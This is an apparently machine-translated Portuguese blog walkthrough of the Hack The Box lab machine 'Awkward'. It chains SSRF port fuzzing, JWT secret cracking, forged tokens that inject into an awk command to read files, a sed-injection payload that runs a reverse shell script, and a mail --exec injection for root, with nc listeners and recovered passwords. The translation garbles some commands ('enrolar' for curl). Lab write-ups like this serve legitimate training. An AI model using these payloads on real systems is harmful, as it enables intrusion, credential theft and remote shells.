Passo a passo do Awkward Hack The Box — [Htb]
Redação de Htb estranha
Ei pessoal! Bem-vindo ao meu blog, hoje vamos discutir sobre a estranha máquina hack-the-box que apresenta uma vulnerabilidade SSRF para obter acesso ao sistema de arquivos interno. Também existe uma vulnerabilidade LFI para obter o shell do usuário dessa máquina e abusar o comando mail podemos obter privilégios de root desse sistema
Enumeração:
Então, primeiro, como de costume, começamos com nossa varredura nmap
PASSO 1: nmap -sC -sV 10.10.11.185
Aqui há o porto habitual e os serviços estão abertos
Então vamos visitar o site no navegador que éhttp://10.10.11.185
Agora ele será redirecionado para ohttp://hat-valley.htb/então vamos adicionar isso ao seu arquivo /etc/hosts para acessar esse site
Agora você pode acessar esse site
Em seguida, verifiquei o código-fonte em busca de qualquer coisa interessante.
E encontrei um arquivo javascript interessante que app.js mas o código é enorme
Vamos copiar e colar esse código emhttps://codepen.io/pen/o que torna o vscode melhor ou aberto
Analisando ainda mais esse código, você pode encontrar mais tokens JWT que são codificados com base64, o que não é interessante
Aqui precisamos analisar todo o código app.js para obter coisas interessantes
Analisando ainda mais este código, encontrei alguns diretórios interessantes
Primeiro encontrei o caminho /hr
que redirecionou para uma página de login. Eu tentei com a senha de administrador padrão, mas não vai funcionar
Ao ver o código acima, você pode perceber que baseurl = API e existem outros diretórios all-leave e submit-leave na API porque concatena o baseurl + all-leave e baseurl + submit-leave, o que é interessante, então agora você pode ser capaz de entender este código e a mesma explicação para abaixo de duas imagens, apenas o diretório será alterado
Então, vamos verificar o /api/staff-details
Ohhh!!!! Dá o erro de JWT token Malformado acho que é um erro de token então vamos passar isso sem token
PASSO 2: curl -shttp://hat-valley.htb/api/staff-details| jq
Boommm!!! Agora você obterá o nome de usuário e a senha de cada usuário disponível
Então, vamos quebrar esse hash usando john, mas, infelizmente, o hash foi quebrado porhttps://hashes.com/en/tools/hash_identifieraqui fui procurar o formato hash mas quebrou obrigado
nome de usuário = christopher.jones senha=chris123, portanto, faça o login com este nome de usuário e senha
Boommm!!! Temos o painel
Em seguida, cliquei no botão atualizar
E capture esse pedido Em arroto e encontrei algo escrito com esse pedido
Vulnerabilidade SSRF:
Porque existe um parâmetro de URL que pode levar ao ataque SSRF
Usando essa vulnerabilidade do SSRF, podemos acessar o arquivo interno desse sistema que não está disponível publicamente
Confira o artigo abaixo
eu verifiquei comhttp://localhost:80qual éhttp://hat-vally.htb
Agora você pode confirmar que é um SSRF. Hurrrhhh!!!
Então, vamos fuzz na porta para obter acesso interno a esse sistema
PASSO 3: ffuf -u 'http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"' -w /usr/share/seclists/Fuzzing/4-digits-0000–9999.txt -fs 0
Aqui eu achei 3002 interessante, então vamos verificar. mas você recebe a página em branco
Coloque aspas duplas em “http://localhost:3002”
Agora você tem acesso a essa página interna
Inclusão de arquivo local:
Depois de analisar esta página, encontrei um endpoint de API interessante que possui uma vulnerabilidade LFI
Analisando ainda mais esse código, encontrei algo interessante no comando AWK Ferramenta normalmente AWK Linux e é uma linguagem de programação (Confira no google)
E o nome da caixa faz sentido estranho , mas pessoalmente acho que está disponível na escalação de privilégios do usuário para root (confira isso na sala tryhackme)
Aqui você pode notar que o comando awk passa a variável de usuário que decodificou o token JWT de um usuário
Mas para abusar disso, precisamos da chave secreta porque, usando essa chave secreta, podemos criar nosso próprio token para qualquer usuário
BruteForceing a chave fraca:
Ao fazer login com o usuário de Christoper, você poderá ver o token no arroto
Precisamos quebrar este Token for Secrete Key usando John
Primeiro copie e cole esse token JWT no arquivo
PASSO 4: john JWT.txt — wordlist=rockyou.txt — formato=HMAC-SHA256
Boommm!!! Agora você pode obter a chave secreta
Agora a assinatura é verificada
Primeiro verificamos o arquivo /etc/passwd
Então, vamos enrolar esse endpoint com este token JWT
PASSO 5: enrolarhttp://hat-valley.htb/api/all-leave— cabeçalho “cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii
8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzY5MDQ3Mjh9.9kHRYTuO1Oh0ykcKpTiNmCH8jeg4rL8 J31znekRdaaE”
Boommm!!!! Agora ele listará o arquivo /etc/passwd
Aqui você obtém alguns usuários como bean e Christine
E verifiquei as chaves ssh para ambos os usuários, mas não conseguimos buscar
Em seguida, vamos para o arquivo .bashrc
Em seguida, enrole isso e você obterá o arquivo .bashrc
Analisando melhor este arquivo bash Você poderá notar que existe um arquivo de backup que faz sentido
Vamos fornecer este local de backup na chave JWT
Em seguida, enrole esse token com esse endpoint
PASSO 6: enrolarhttp://hat-valley.htb/api/all-leave— cabeçalho “Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cF9ob21lLnNoICciLCJpYXQiOjE2NzY5MDQ3Mj h9.4LyhastbruMYsHH8UcKped_Pic7mjvSD2fSkVZWfC1w” — saída backup.sh
Agora você obterá o arquivo backup.sh e, nesse arquivo, poderá ver o arquivo backup.tar
PASSO 7: enrolarhttp://hat-valley.htb/api/all-leave— cabeçalho “Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3 ogJyIsImlhdCI6MTY3NjkwNDcyOH0.sE5i7Nx06DGh1uhK_nyMIhGn2bCt_nxoDDtu9P7ogk0” — saída bean_backup_final.tar.gz
Em seguida, extraia esse arquivo e você obterá o arquivo de backup dessa máquina
E há alguns arquivos e diretórios ocultos também disponíveis
PASSO 8: ls -al
A seguir, abra o
PASSO 9 : cat /.config/xpad/content-DS1ZS1
Aqui você pode encontrar alguns créditos de bean para login SSH
Bandeira do usuário:
PASSO 10: ssh [email protected]
PASSO 11: cat user.txt
Boooommm!!! Agora você obtém o userflag dessa máquina
Depois de obter o shell, verifiquei o abuso binário do sudo e o linpeas, mas não funcionou
Em seguida, verifiquei o arquivo host em busca de vhost ou subdomínio interessante
Então, vamos adicionar isso ao nosso arquivo /etc/hosts para acessar essa página da web
ao acessar essa página ele pede um nome de usuário e senha
Então, verifiquei o arquivo de configuração no nginx que é /etc/nginx e obtive o nome de usuário e a senha no hash
mas provavelmente não conseguirei quebrar esse hash, então usei credenciais SSH para fazer login nesse aplicativo
Nome de usuário: admin Senha: 014mrbeanrules!#P
Boommm!!! Obtemos acesso de login a esse aplicativo e ao aplicativo Shopping
Então eu fui para shop.php
Depois disso, revi esse código em /var/www/store para qualquer coisa interessante
No código, encontrei algo estranho no comando Sed que pode levar à execução remota do código, mas não podemos explorar isso diretamente no aplicativo da web se executar o shell reverso, ele mostra um caractere incorreto detectado !!
Então, para evitar isso, configuramos um shell reverso nessa máquina e executamos esse arquivo nesse aplicativo
Primeiro, adicione qualquer produto ao carrinho
Em seguida, confira Mycart você pode ver esse produto
E você pode ver este carrinho naquela máquina se ele adicionar a esse carrinho
Portanto, nosso plano é abusar do comando sed para obter o shell reverso dessa máquina e podemos executar o comando no botão remover se precisar de mais informações sobre o abuso do comando SED no artigo abaixo
Primeiro, precisamos de um shell reverso simples de revshells.com
E dê permissão de execução para esse arquivo
PASSO 12: chmod 777 evilshell.sh
Em seguida, configure seu ouvinte em sua máquina local
PASSO 13: nc -lvp 9001
Primeiro, adicione o produto ao carrinho
Em seguida, clique no botão remover e capture essa solicitação
E editar o parâmetro do item
'+-e+"1e+/tmp/evilshell.sh"+/tmp/evilshell.sh+'
Em seguida, verifiquei o processo na máquina do usuário
PASSO 14: ps -eaf
Aqui você pode perceber que o inotifywait está monitorando o /var/www/private/leave_request, então vamos verificar isso em www-data
Então, vamos passar um argumento para esse arquivo para o que aconteceu nesse processo
E descobri que executar o comando mail com privilégio de root
Então vamos passar o shell reverso no leave_request.csv e executar o comando mail com privilégio de root
Primeiro, crie um shell reverso na máquina do usuário
Em seguida, configure seu ouvinte na máquina local
PASSO 15: nc -lvp 9002
Depois disso, vá para a máquina www-data e execute o comando abaixo
echo '" --exec="\!/tmp/evilshell.sh"' >> leave_requests.csv
Boommm!!! Agora você obtém o shell raiz dessa máquina
Espero que você entenda este artigo Se você gostou do meu artigo, por favor, dê aplausos e se você gosta do meu trabalho, doe para o meu Exame OSCP





































![O que é uma lista vinculada, afinal? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)